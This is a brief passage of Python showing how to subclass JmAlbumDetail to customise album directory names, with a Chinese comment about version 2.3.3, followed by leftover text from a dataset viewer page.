return f'custom_{self.title}'
"""
v2.3.3: 支持更灵活的自定义方式,可以使用函数,效果同上,示例见下
"""
class MyAlbum2(JmAlbumDetail):
def get_dirname(self, ref: str) -> str:
if ref == 'custom':
... | Markdown |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.